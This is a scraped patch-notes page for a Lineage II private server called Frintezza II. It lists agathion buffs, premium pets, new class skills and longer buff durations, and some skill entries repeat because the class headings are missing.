First Stage: Upon character creation, players will receive the Agathion - Monkey, granting the following buffs for 4 hours: Wind Walk, Shield, Might, Acumen, Focus, Concentration, Berserker Spirit, and Mana Blessing. Second Stage: Upon reaching level 40 and completing the 2nd class change, players will receive the Agathion - Griffin, providing an array of buffs for 4 hours, including Wind Walk, Shield, Magic Barrier, Might, Focus, Death Whisper, Guidance, Haste, Vampiric Rage, Clarity, Acumen, Empower, Berserker Spirit, Decrease Weight, Mental Shield, Bless Shield, and Mana Blessing. *Note: Read the "Improved Mana Regeneration" section for more information. We're thrilled to introduce the enhanced vitamin pets, designed to be your trusted companions throughout your journey. Each pet boasts a unique set of skills tailored to complement various classes. Key Features: Our premium pets retain a retail-like experience, with optimized buffs for enhanced gameplay. They no longer consume %EXP from their master, ensuring uninterrupted progression. These exclusive pets will be readily available in the in-game store, providing easy access for all players. Buffs:  Weapon Maintenance: Increases your attack dmg.  Armor Maintenance: Increases your defense.  Blessing of Queen: Increase of 25% P. Critical Rage. Buffs:  Wild Magic: Increases your Magic Critical rate.  Armor Maintenance: Increases your defense.  Gift of Seraphim: Reuse delay decreased by 30%. Stats & Skills retail-like, great companions for enchanters/supports.    [New lv. 55] Knight Fury: Increases party members' P.Def by 5%, M.Def by 5%, Atk. Spd. by 5%, Casting Spd. by 5% and Speed by 5. Effects are applied instantly depending on strike probability. Does not work in olympiad matches.  Seed of Revenge: Increased activation chance of each level to 35%.  [New lv. 52/64/70] Defense Aura: Increases party member's P.Def by 3%/4%/5% and M.Def by 3%/4%/5%. Effect does not stack with Combat Aura.  [New lv. 55] Knight Fury: Increases party members' P.Def by 5%, M.Def by 5%, Atk. Spd. by 5%, Casting Spd. by 5% and Speed by 5. Effects are applied instantly depending on strike probability. Does not work in olympiad matches.  Angelic Icon: Angelic Icon buff has been changed as follows - For 1 minute, increases Resistance to debuff attacks by 40%, P. Def. by 50%, M. Def. by 50%, Accuracy by 6, Speed by 5/10/15, Atk. Spd. by 5%/10%/15%, Critical Rate by 17/30/50, Critical Damage by 17%/33%/50% and Resistance to buff-canceling attacks by 40%. Decreases the effect of recovery magic by 80%. Available when HP is 30% or lower.  Summon Phoenix: The Phoenix has been adjusted to ensure its parity with the other 3rd class summons.  Spirit of Phoenix: Increased activation chance of each level to 35%  [New lv. 52/64/70] Defense Aura: Increases party member's P.Def by 3%/4%/5% and M.Def by 3%/4%/5%. Effect does not stack with Combat Aura.  [New lv. 55] Knight Fury: Increases party members' P.Def by 5%, M.Def by 5%, Atk. Spd. by 5%, Casting Spd. by 5% and Speed by 5. Effects are applied instantly depending on strike probability. Does not work in olympiad matches.  Pain of Shilen: Increased activation chance of each level to 35%.  [New lv. 52/64/70] Defense Aura: Increases party member's P.Def by 3%/4%/5% and M.Def by 3%/4%/5%. Effect does not stack with Combat Aura.  [New lv. 80] Massive Lightning Strike: A lightning strike deals damage to the target and surrounding enemies with 1082 Power, immobilizes them for 15 seconds and then paralyzes for 10 seconds.  [New lv. 55] Knight Fury: Increases party members' P.Def by 5%, M.Def by 5%, Atk. Spd. by 5%, Casting Spd. by 5% and Speed by 5. Effects are applied instantly depending on strike probability. Does not work in olympiad matches.  Eva's Will: Increased activation chance of each level to 35%.  [New lv. 52/64/70] Defense Aura: Increases party member's P.Def by 3%/4%/5% and M.Def by 3%/4%/5%. Effect does not stack with Combat Aura.  [New lv. 80] Eva's Defense: Increases party member's P.Def by 15% and M.Def by 10% and Speed by 4 for 5 minutes.  [New from lv. 40+] Dual Weapon Mastery: Increases P. Atk. when using a dualsword.  [New 44/56/68] Mana Drain: Has a chance to recover MP when striking.  [New from lv. 40+] Dual Weapon Mastery: Increases P. Atk. when using a dualsword.  [New 44/56/68] Mana Drain: Has a chance to recover MP when striking.  [New 44/58] Chant of Improved Combat (Self-buff): Increases Atk. Spd. by 15%/33% and bestows the ability to recover as HP 9% of the standard melee damage inflicted on the enemy.  [New from lv. 40+] Dual Weapon Mastery: Increases P. Atk. when using a dualsword.  [New from lv. 40+] Revenge Strike: Attacks the enemy with 738 Power added to P. Atk. Requires a sword, dual-sword or blunt weapon. Does not work in olympiad matches.  [New 44/58] Blood Awakening (Self-buff): Increases Atk. Spd. by 15%/33% and bestows the ability to recover as HP 9% of the standard melee damage inflicted on the enemy.  [New lv. 40] Rush: Charges toward the enemy.  [New from lv. 40+] Sword Crush: Attacks the enemy with 487 Power added to P. Atk. and inflicts Shock for 7 seconds. Requires a sword or dual-sword weapon. Does not work in olympiad matches.  Dances: Increased time duration of dances to 20 minutes (+Time enchant extends time duration to be 47 minutes).  [New lv. 40] Rush: Charges toward the enemy.  [New from lv. 40+] Sword Crush: Attacks the enemy with 487 Power added to P. Atk. and inflicts Shock for 7 seconds. Requires a sword or dual-sword weapon. Does not work in olympiad matches.  Songs: Increased time duration of songs to 20 minutes (+Time enchant extends time duration up to 47 minutes)  [New from lv. 40+] Mechanical Smash: Swings a spear to attack nearby enemies with 421 Power added to P. Atk. and causes Stun for 9 seconds. Requires a polearm to be equipped.  [New from lv. 40+] Provoke (ONLY WARSMITH): Provokes enemies within a wide range and decreases Resistance to spear weapons by 10 for 10 seconds.  Chain Heal: Adjusted the learning level to level 80.  [Shilien Saint NEW lv. 80] Lord of Vampires: For 30 seconds, gives all party members the ability to recover as HP 80% of the damage inflicted on the enemy.  Healers' Skills Transfer: Increased the Holy Pomander amount for Eva's Saint & Cardinals to 2.  Dagger Mastery [Trigger]: Increased the Dagger Mastery trigger duration to 15 seconds and increases Speed by +4.  [NEW] Bow Mastery [Trigger]: Bow Mastery will now trigger an active buff for 15 seconds that will increase Bow/Crossbow range by 20, Accuracy by 3 and Speed by 4.  Premium Buffs (Agathions Buffs): Increased time duration to be 4 hours.  Chant of Victory & Proof of Fire/Wind/Water: Increased time duration to be 20 minutes (+Time enchant extends time duration up to 40 minutes).  [NEW] Frintezza Welcome Skill(all classes): Increased weight limit by 4 and opens 24 inventory slots.  Warcry: Increased time duration to be 20 minutes.  Battle Roar: Increased time duration to be 20 minutes.  Thrill Fight: Increased time duration to be 20 minutes.  Fell Swoop: Increased time duration to be 20 minutes.  Majesty: Increased time duration to be 20 minutes.  Hawkeye: Eliminated the -10% P.def penalty and increased time duration to be 20 minutes.  Focus chance: Increased time duration to be 20 minutes.  Focus power: Increased time duration to be 20 minutes.  Focus Death: Increased time duration to be 20 minutes.  Mortal Strike: Increased time duration to be 20 minutes.  Seed of Fire/Water/Wind: Increased time duration to be 20 minutes.  Warrior Servitor: Increased time duration to be 20 minutes.  Wizard Servitor: Increased time duration to be 20 minutes.  Assassin Servitor: Increased time duration to be 20 minutes.  Final Servitor: Increased time duration to be 20 minutes.  Rage: Increased time duration to be 20 minutes.  Dark Form: Increased time duration to be 20 minutes.  Totem of Bear: Increased time duration to be 20 minutes.  Totem of Wolf: Increased time duration to be 20 minutes.  Totem of Ogre: Increased time duration to be 20 minutes.  Totem of Puma: Increased time duration to be 20 minutes.  Totem of Bison: Increased time duration to be 20 minutes.  Totem of Rabbit: Increased time duration to be 20 minutes.  Totem of Hawk: Increased time duration to be 20 minutes.  Battle Cry: Increased time duration to be 20 minutes.  Blood Pact: Increased time duration to be 20 minutes.  Furious Soul: Increased time duration to be 20 minutes.  Feline Queen Buffs: Increased time duration to be 20 minutes.  Seraphim the Unicorn Buffs: Increased time duration to be 20 minutes. Frintezza II Creator https://frintezzal2.com Join our Discord channel
  • Topics

×
×
  • Create New...